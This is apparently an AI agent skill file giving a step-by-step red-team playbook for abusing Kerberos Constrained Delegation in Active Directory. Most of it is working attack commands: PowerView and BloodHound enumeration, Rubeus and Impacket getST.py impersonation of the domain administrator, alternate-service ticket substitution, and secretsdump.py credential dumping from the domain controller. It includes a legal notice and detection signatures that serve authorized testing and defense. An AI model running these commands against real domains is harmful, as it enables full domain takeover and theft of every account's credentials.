Exploiting Constrained Delegation Abuse

---
name: exploiting-constrained-delegation-abuse
description: Use when exploit Kerberos Constrained Delegation misconfigurations in
  Active Directory to impersonate privileged users via S4U2self and S4U2proxy extensions
  for lateral movement and privilege escalation. Use when exploiting kerberos constrained
  delegation misconfigurations in active directory to impersonate.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- kerberos
- constrained-delegation
- s4u2proxy
- privilege-escalation
- lateral-movement
version: '1.0'
author: oyi77
license: Apache-2.0
d3fend_techniques:
- Application Protocol Command Analysis
- Network Isolation
- Network Traffic Analysis
- Client-server Payload Profiling
- Network Traffic Community Deviation
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
category: cybersecurity
---

# Exploiting Constrained Delegation Abuse


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.


## When to Use
**Trigger phrases:**
- "exploiting constrained delegation abuse"
- "Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to"


- When performing authorized security testing that involves exploiting constrained delegation abuse
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding

## Prerequisites

- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Objectives

- Enumerate accounts with Constrained Delegation configured in the domain
- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
- Exploit S4U2self and S4U2proxy to impersonate Domain Admin
- Obtain service tickets for delegated services as a privileged user
- Access delegated services (CIFS, LDAP, HTTP) on target hosts
- Escalate to Domain Admin through Constrained Delegation abuse

## MITRE ATT&CK Mapping

- **T1558.003** - Steal or Forge Kerberos Tickets: Kerberoasting
- **T1550.003** - Use Alternate Authentication Material: Pass the Ticket
- **T1134.001** - Access Token Manipulation: Token Impersonation/Theft
- **T1078.002** - Valid Accounts: Domain Accounts
- **T1021** - Remote Services

## Workflow

1. **Scope and authorize** — confirm written authorization and define target boundaries
2. **Reconnaissance** — enumerate targets, services, and potential attack surfaces
3. **Exploitation** — attempt exploitation of identified vulnerabilities within scope
4. **Post-exploitation** — document access level, lateral movement, and data exposure
5. **Report and remediate** — compile findings with reproduction steps and fix recommendations
### Phase 1: Enumerate Constrained Delegation
1. Find accounts with Constrained Delegation using PowerView:
   ```powershell
   # Find users with Constrained Delegation
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

   # Find computers with Constrained Delegation
   Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

   # Using AD Module
   Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
   ```
2. Using Impacket findDelegation.py:
   ```bash
   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   ```
3. Using BloodHound CE:
   ```cypher
   MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
   RETURN c.name, c.allowedtodelegate
   ```
4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
   ```powershell
   # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
   Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
   ```

### Phase 2: Exploit with Rubeus (Windows)
1. If you have the password or hash of the constrained delegation account:
   ```powershell
   # Request TGT for the constrained delegation account
   Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>

   # Perform S4U2self + S4U2proxy to impersonate administrator
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /ptt

   # Alternative: specify alternate service name
   Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
   ```
2. Combined TGT request and S4U in single command:
   ```powershell
   Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
     /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
   ```

### Phase 3: Exploit with Impacket (Linux)
1. Request service ticket via S4U protocol extensions:
   ```bash
   # Using getST.py with S4U
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

   # Using hash instead of password
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
     -dc-ip 10.10.10.1 domain.local/svc_sql

   # Use the obtained ticket
   export KRB5CCNAME=administrator.ccache
   smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
   ```

### Phase 4: Alternate Service Name Abuse
1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:
   ```bash
   # Request CIFS ticket, then use it for LDAP (DCSync)
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -altservice LDAP/DC01.domain.local \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'

   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
   ```
2. This technique works because the service name in the ticket is not cryptographically bound to the session key

### Phase 5: Protocol Transition Attack
1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:
   ```bash
   # S4U2self obtains a forwardable ticket without requiring the user to authenticate
   # This means we can impersonate ANY user without their password
   getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
     -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
   ```
2. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)

## When NOT to Use

- You don't have explicit authorization to exploit
- Task is about detecting exploits, not performing them (use detecting-* skills)
- You need to analyze exploit artifacts (use analyzing-* skills)
- Task is about building exploit tools (use building-* skills)
- Target is production without authorization
- Task requires responsible disclosure (follow disclosure process)


## Red Flags

- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Exceeding the authorized scope of the engagement
- Leaving persistent access mechanisms without explicit approval
- Causing denial-of-service on production systems during testing

## Verification

- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- All exploited vulnerabilities documented with reproduction steps
- Scope boundaries confirmed — only authorized targets were tested
- Remediation recommendations included for every finding

## Tools and Resources

| Tool | Purpose | Platform |
|------|---------|----------|
| Rubeus | S4U Kerberos ticket manipulation | Windows (.NET) |
| getST.py | S4U service ticket requests (Impacket) | Linux (Python) |
| findDelegation.py | Delegation enumeration (Impacket) | Linux (Python) |
| PowerView | AD delegation enumeration | Windows (PowerShell) |
| BloodHound CE | Visual delegation path analysis | Docker |
| Kekeo | Advanced Kerberos toolkit | Windows |

## Delegation Types Comparison

| Type | Attribute | Scope | Attack Complexity |
|------|-----------|-------|-------------------|
| Unconstrained | TRUSTED_FOR_DELEGATION | Any service | Low (capture TGTs) |
| Constrained | msDS-AllowedToDelegateTo | Specific SPNs | Medium (S4U abuse) |
| Constrained + Protocol Transition | + TRUSTED_TO_AUTH_FOR_DELEGATION | Specific SPNs | Medium (no user auth needed) |
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | On target | Medium (writable attribute) |

## Detection Signatures

| Indicator | Detection Method |
|-----------|-----------------|
| S4U2self ticket requests | Event 4769 with unusual service and impersonation |
| S4U2proxy forwarded tickets | Event 4769 with delegation flags set |
| Alternate service name in ticket | Mismatch between requested SPN and actual service access |
| Rubeus.exe execution | EDR process detection, command-line logging |
| Delegation configuration changes | Event 5136 for msDS-AllowedToDelegateTo modifications |

## Validation Criteria

- [ ] Accounts with Constrained Delegation enumerated
- [ ] Delegation targets (msDS-AllowedToDelegateTo) identified
- [ ] S4U2self ticket obtained for target user
- [ ] S4U2proxy ticket forwarded to delegation target
- [ ] Privileged access to delegated service validated
- [ ] Alternate service name substitution tested
- [ ] Protocol transition capability assessed
- [ ] Evidence documented with ticket exports and access proof

## Process

1. Analyze the task requirements
2. Apply domain expertise
3. Verify output quality

## Anti-Rationalization Table

| Rationalization | Reality |
|---|---|
| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |
| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |